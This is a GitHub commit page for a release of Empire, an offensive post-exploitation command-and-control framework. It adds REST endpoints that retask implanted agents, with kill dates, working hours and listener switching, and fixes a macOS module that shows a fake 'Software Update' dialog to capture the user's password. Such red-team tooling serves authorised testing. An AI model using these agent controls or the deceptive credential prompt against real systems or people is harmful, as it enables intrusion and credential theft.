Skip to content

Commit

Permalink
Merge pull request #400 from BC-SECURITY/dev
Browse files Browse the repository at this point in the history
Empire 3.6.1 Release
  • Loading branch information
Cx01N committed Nov 16, 2020
2 parents 266d4a4 + d5ba70d commit 813c70e
Show file tree
Hide file tree
Showing 40 changed files with 1,962 additions and 8 deletions.
20 changes: 20 additions & 0 deletions .github/workflows/wikisync.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
on:
push:
branches:
- master
pull_request:
branches:
- master
name: Wiki Sync
jobs:
update-wiki:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@master
- name: Sync Wiki
uses: joeizzard/action-wiki-sync@master
with:
username: Cx01N
access_token: ${{ secrets.GITHUB_TOKEN }}
wiki_folder: wiki
commit_username: 'Cx01N'
6 changes: 6 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -96,6 +96,12 @@ Plugins are an extension of Empire that allow for custom scripts to be loaded. T
community projects to extend Empire functionality. Plugins can be accessed from the Empire CLI or the API as long as the
plugin follows the [template example](./plugins/example.py). A list of Empire Plugins is located [here](plugins/PLUGINS.md).

## Official Discord Channel
<p align="center">
<a href="https://discord.gg/P8PZPyf">
<img src="https://discordapp.com/api/guilds/716165691383873536/widget.png?style=banner3"/>
</p>

## Contribution Rules

Contributions are more than welcome! The more people who contribute to the project the better Empire will be for everyone. Below are a few guidelines for submitting contributions.
Expand Down
2 changes: 1 addition & 1 deletion VERSION
Original file line number Diff line number Diff line change
@@ -1 +1 @@
3.6.0
3.6.1
8 changes: 8 additions & 0 deletions changelog
Original file line number Diff line number Diff line change
@@ -1,3 +1,11 @@
11/16/2020
------------
- Version 3.6.1 Master Release
- Added editable wiki and sync option to repo - #398 (@Cx01N)
- Fixed byte error in python/collection/osx/prompt - #396 (@Cx01N)
- Fixed clear option issue for malleable listener - #393 (@Cx01N)
- Added update_comms, killdate, and workinghours endpoints (@Cx01N)

11/9/2020
------------
- Version 3.6.0 Master Release
Expand Down
98 changes: 96 additions & 2 deletions empire
Original file line number Diff line number Diff line change
Expand Up @@ -1081,12 +1081,106 @@ def start_restful_api(empireMenu: MainMenu, suppress=False, username=None, passw
taskID = main.agents.add_agent_task_db(agentSessionID, "TASK_SHELL", command, uid=g.user['id'])
return jsonify({'success': True, 'taskID': taskID})

@app.route('/api/agents/<string:agent_name>/update_comms', methods=['PUT'])
def agent_update_comms(agent_name):
"""
Dynamically update the agent comms to another
Takes {'listener': 'name'}
"""

if not request.json:
return make_response(jsonify({'error':'request body must be valid JSON'}), 400)

if not 'listener' in request.json:
return make_response(jsonify({'error':'JSON body must include key "listener"'}), 400)

listener_name = request.json['listener']

if not main.listeners.is_listener_valid(listener_name):
return jsonify({'error': 'Please enter a valid listener name.'})
else:
active_listener = main.listeners.activeListeners[listener_name]
if active_listener['moduleName'] != 'meterpreter' or active_listener['moduleName'] != 'http_mapi':
listener_options = active_listener['options']
listener_comms = main.listeners.loadedListeners[active_listener['moduleName']].generate_comms(listener_options, language="powershell")

main.agents.add_agent_task_db(agent_name, "TASK_UPDATE_LISTENERNAME", listener_options['Name']['Value'])
main.agents.add_agent_task_db(agent_name, "TASK_SWITCH_LISTENER", listener_comms)

msg = "Tasked agent to update comms to %s listener" % listener_name
main.agents.save_agent_log(agent_name, msg)
return jsonify({'success': True})
else:
return jsonify({'error': 'Ineligible listener for updatecomms command: %s' % active_listener['moduleName']})

@app.route('/api/agents/<string:agent_name>/killdate', methods=['PUT'])
def agent_kill_date(agent_name):
"""
Set an agent's killdate (01/01/2016)
Takes {'kill_date': 'date'}
"""

if not request.json:
return make_response(jsonify({'error':'request body must be valid JSON'}), 400)

if not 'kill_date' in request.json:
return make_response(jsonify({'error':'JSON body must include key "kill_date"'}), 400)

try:
kill_date = request.json['kill_date']

# update this agent's information in the database
main.agents.set_agent_field_db("kill_date", kill_date, agent_name)

# task the agent
main.agents.add_agent_task_db(agent_name, "TASK_SHELL", "Set-KillDate " + str(kill_date))

# update the agent log
msg = "Tasked agent to set killdate to " + str(kill_date)
main.agents.save_agent_log(agent_name, msg)
return jsonify({'success': True})
except:
return jsonify({'error': 'Unable to update agent killdate'})

@app.route('/api/agents/<string:agent_name>/workinghours', methods=['PUT'])
def agent_working_hours(agent_name):
"""
Set an agent's working hours (9:00-17:00)
Takes {'working_hours': 'working_hours'}
"""

if not request.json:
return make_response(jsonify({'error':'request body must be valid JSON'}), 400)

if not 'working_hours' in request.json:
return make_response(jsonify({'error':'JSON body must include key "working_hours"'}), 400)

try:
working_hours = request.json['working_hours']
working_hours = working_hours.replace(",", "-")

# update this agent's information in the database
main.agents.set_agent_field_db("working_hours", working_hours, agent_name)

# task the agent
main.agents.add_agent_task_db(agent_name, "TASK_SHELL", "Set-WorkingHours " + str(working_hours))

# update the agent log
msg = "Tasked agent to set working hours to " + str(working_hours)
main.agents.save_agent_log(agent_name, msg)
return jsonify({'success': True})
except:
return jsonify({'error': 'Unable to update agent workinghours'})

@app.route('/api/agents/<string:agent_name>/rename', methods=['POST'])
def task_agent_rename(agent_name):
"""
Renames the specified agent.
Takes {'newname':'NAME'}
Takes {'newname': 'NAME'}
"""

agentNameID = execute_db_query(conn, 'SELECT name,session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name])
Expand Down Expand Up @@ -1164,7 +1258,7 @@ def start_restful_api(empireMenu: MainMenu, suppress=False, username=None, passw
return make_response(jsonify({'error':'request body must be valid JSON'}), 400)

if not 'notes' in request.json:
return make_response(jsonify({'error':'JSON body must include key "credentials"'}), 400)
return make_response(jsonify({'error':'JSON body must include key "notes"'}), 400)

notes = request.json['notes']

Expand Down
2 changes: 1 addition & 1 deletion lib/common/empire.py
Original file line number Diff line number Diff line change
Expand Up @@ -18,7 +18,7 @@

from flask_socketio import SocketIO

VERSION = "3.6.0 BC Security Fork"
VERSION = "3.6.1 BC Security Fork"

from pydispatch import dispatcher

Expand Down
2 changes: 1 addition & 1 deletion lib/common/helpers.py
Original file line number Diff line number Diff line change
Expand Up @@ -457,7 +457,7 @@ def parse_credentials(data):

# python/collection/prompt (Mac OS)
elif b"text returned:" in parts[0]:
parts2 = parts[0].split("text returned:")
parts2 = parts[0].split(b"text returned:")
if len(parts2) >= 2:
password = parts2[-1]
return [("plaintext", "", "", password, "", "")]
Expand Down
3 changes: 2 additions & 1 deletion lib/common/listeners.py
Original file line number Diff line number Diff line change
Expand Up @@ -259,7 +259,8 @@ def start_listener(self, moduleName, listenerObject):
self.activeListeners[name]['name'] = name

# TODO: listeners should not have their default options rewritten in memory after generation
self.default_listener_options(moduleName)
if moduleName == 'redirector':
self.default_listener_options(moduleName)

if self.mainMenu.socketio:
self.mainMenu.socketio.emit('listeners/new', self.get_listener_for_socket(name), broadcast=True)
Expand Down
2 changes: 1 addition & 1 deletion lib/modules/python/collection/osx/prompt.py
Original file line number Diff line number Diff line change
Expand Up @@ -109,7 +109,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""):
# osascript prompt for the current application with System Preferences icon
script = """
import os
print(os.popen('osascript -e \\\'display dialog "Software Update requires that you type your password to apply changes." & return & return default answer "" with icon file "Applications:System Preferences.app:Contents:Resources:PrefApp.icns" with hidden answer with title "Software Update"\\\'').read())
print(os.popen('osascript -e \\\'display dialog "Software Update requires that you type your password to apply changes." & return & return default answer "" with hidden answer with title "Software Update"\\\'').read())
"""

else:
Expand Down
2 changes: 1 addition & 1 deletion plugins/example.py
Original file line number Diff line number Diff line change
Expand Up @@ -87,7 +87,6 @@ def register(self, mainMenu):
def do_test(self, args):
"""
An example of a plugin function.
Usage: test <start|stop> <message>
"""
print("This is executed from a plugin!")
Expand Down Expand Up @@ -116,3 +115,4 @@ def shutdown(self):
"""
# If the plugin spawns a process provide a shutdown method for when Empire exits else leave it as pass
pass

90 changes: 90 additions & 0 deletions wiki/Admin-Functionality.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,90 @@
* [User Login](#User-Login)
* [User Logout](#User-Logout)
* [Restart the RESTful API Server](#restart-the-restful-api-server)
* [Shutdown the RESTful API Server](#shutdown-the-restful-api-server)

## User Login

### Handler

* **Handler** : POST /api/admin/login
* Description : Retrieves the API token given the correct username and password.
* No parameters

### Example

**Request**:
```bash
curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/admin/login -X POST -d '{"username":"empireadmin", "password":"Password123!"}'
```

**Response**:
```json
{
"token": "ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5"
}
```
## User Logout

### Handler

* **Handler** : POST /api/admin/logout
* Description : Logs out of current user account.
* No parameters

### Example

**Request**:
```bash
curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/admin/logout -X POST
```

**Response**:
```json
{
"success": "True"
}
```
## Restart the RESTful API Server

### Handler

* **Handler** : GET /api/restart
* Description : Restarts the RESTful API server.
* No parameters

### Example

**Request**:
```bash
curl --insecure -i https://localhost:1337/api/admin/restart?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
```

**Response**:
```json
{
"success": true
}
```

## Shutdown the RESTful API Server

### Handler

* **Handler** : GET /api/shutdown
* Description : Shutdown the RESTful API server.
* No parameters

### Example

**Request**:
```bash
curl --insecure -i https://localhost:1337/api/admin/shutdown?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
```

**Response**:
```json
{
"success": true
}
```
Loading

0 comments on commit 813c70e

Please sign in to comment.